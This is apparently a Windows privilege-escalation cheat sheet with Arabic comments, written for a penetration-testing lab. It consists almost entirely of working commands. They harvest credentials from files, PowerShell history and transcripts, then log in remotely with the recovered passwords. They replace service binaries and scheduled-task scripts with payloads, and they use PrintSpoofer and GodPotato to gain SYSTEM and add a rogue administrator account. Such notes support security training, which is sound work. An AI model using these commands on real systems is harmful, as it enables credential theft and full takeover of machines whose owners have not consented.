# البحث عن KeePass vaults
Get-ChildItem -Path C:\ -Include *.kdbx `
  -Recurse -ErrorAction SilentlyContinue

# البحث في ملفات المستخدم عن بيانات حساسة
Get-ChildItem -Path C:\Users\dave `
  -Include *.txt,*.pdf,*.docx,*.xlsx,*.ini,*.config `
  -Recurse -ErrorAction SilentlyContinue

# قراءة ملف النوتس
type C:\Users\dave\Desktop\asdf.txt

# الانتقال لحساب آخر بعد إيجاد كلمة المرور
runas /user:backupadmin cmd
# → whoami: clientwk220\backupadmin

# البحث عن passwords في ملفات الإعداد
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
findstr /si "password" C:\xampp\*.conf 2>nul

# إيجاد ملف PSReadLine History
(Get-PSReadlineOption).HistorySavePath
# → C:\Users\dave\AppData\Roaming\Microsoft\Windows\
#     PowerShell\PSReadLine\ConsoleHost_history.txt

# قراءة الـ History
type ConsoleHost_history.txt
# → Set-Secret -Name 'Server02 Admin PW' -Secret 'paperEarMonitor33@'
# → Start-Transcript -Path ...\transcript01.txt

# قراءة الـ Transcript — بيسجَّل كل شيء
type transcript01.txt
# → $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText

# استخدام كلمة المرور المُكتشَفة
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123!!"

# تشغيل winPEAS (نقله للهدف أولاً)
.\winPEASany.exe    # لكل المعماريات
.\winPEASx64.exe    # لـ 64-bit فقط

# تصدير الناتج لملف للتحليل
.\winPEASx64.exe > winpeas_output.txt

# البدائل لو winPEAS اتحجب بالـ AV
.\Seatbelt.exe -group=all
.\JAWS-enum.ps1

# 1. عَدّ الخدمات الشغّالة ومساراتها
Get-WmiObject Win32_Service | Where-Object {$_.State -eq 'Running'} |
  Select Name,PathName | Format-List

# 2. ابحث عن خدمات خارج مجلدات Windows الافتراضية
# (C:\Windows\, C:\Windows\System32\)
# الخدمات في C:\xampp\, C:\Program Files\CustomApp\ هي الأهداف

# 3. فحص صلاحيات الملف
icacls 'C:\xampp\apache\bin\httpd.exe'
# BUILTIN\Users:(F)  ← Full Control! إشارة خطر

# 4. نسخ احتياطي واستبدال بـ payload
copy httpd.exe httpd_orig.exe
copy C:\Users\dave\evil.exe httpd.exe

# 5. إعادة تشغيل الخدمة (أو انتظار Reboot)
Restart-Service -Name Apache2.4
# إذا لم يكن لديك صلاحية → انتظر Reboot أو استغلّ طريقة أخرى
Stop-Service -Name Apache2.4; Start-Service -Name Apache2.4

# إيجاد الخدمات ذات المسارات غير المُقتبَسة
wmic service get name,pathname |
  findstr /i /v '"' |
  findstr /i /v 'C:\Windows'

# فحص صلاحيات كل Directory في المسار
icacls "C:\Program Files\Enterprise Apps"
# BUILTIN\Users:(W)  ← قابلة للكتابة!

# نسخ الـ Payload بالاسم الصحيح
copy evil.exe "C:\Program Files\Enterprise Apps\Inventory.exe"

# إعادة تشغيل الخدمة
Start-Service -Name "GammaService"
Restart-Service -Name "GammaService"
# → الكود ينفَّذ كـ LocalSystem

# عَدّ كل المهام المجدوَلة
schtasks /query /fo LIST /v | more

# PowerShell — تفاصيل أوفر، مُصفَّى بدون مهام Microsoft
Get-ScheduledTask |
  Where-Object {$_.TaskPath -notlike '\Microsoft*'} |
  Select TaskName, TaskPath, State

# فحص صلاحيات الملف المنفَّذ
icacls C:\Users\dave\cleanup.ps1
# dave:(F)  ← Full Control! المستخدم الحالي يملكه

# استبدال الـ Script بـ payload
copy cleanup.ps1 cleanup_bak.ps1
copy evil.ps1 cleanup.ps1

# انتظار الـ Trigger (مثلاً كل دقيقة)
# → المهمة تشتغل كـ admin → حساب Admin جديد

# الحصول على معلومات الـ OS للبحث عن ثغرات
systeminfo
# → OS Name, Version, Build Number, Hotfix(s)

# مقارنة الـ Hotfixes المثبَّتة بقوائم الـ CVEs
Get-HotFix | Sort-Object InstalledOn -Descending

# أدوات البحث عن Kernel Exploits:
# - Windows Exploit Suggester (offline)
# - WinPEAS (يشير للـ CVEs المحتملة)
# - searchsploit "windows 10 1903 privilege escalation"

# التحقق من وجود SeImpersonatePrivilege
whoami /priv
# → SeImpersonatePrivilege  Enabled  ← الهدف!

# PrintSpoofer (Windows 10+)
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\out.txt"

# GodPotato (Windows Server 2012 → 2022)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker Pass123! /add && net localgroup administrators hacker /add"

# RoguePotato (بيئات قديمة)
.\RoguePotato.exe -r  -e "cmd /c whoami"

# التحقق من نجاح الـ Shell
whoami  →  nt authority\system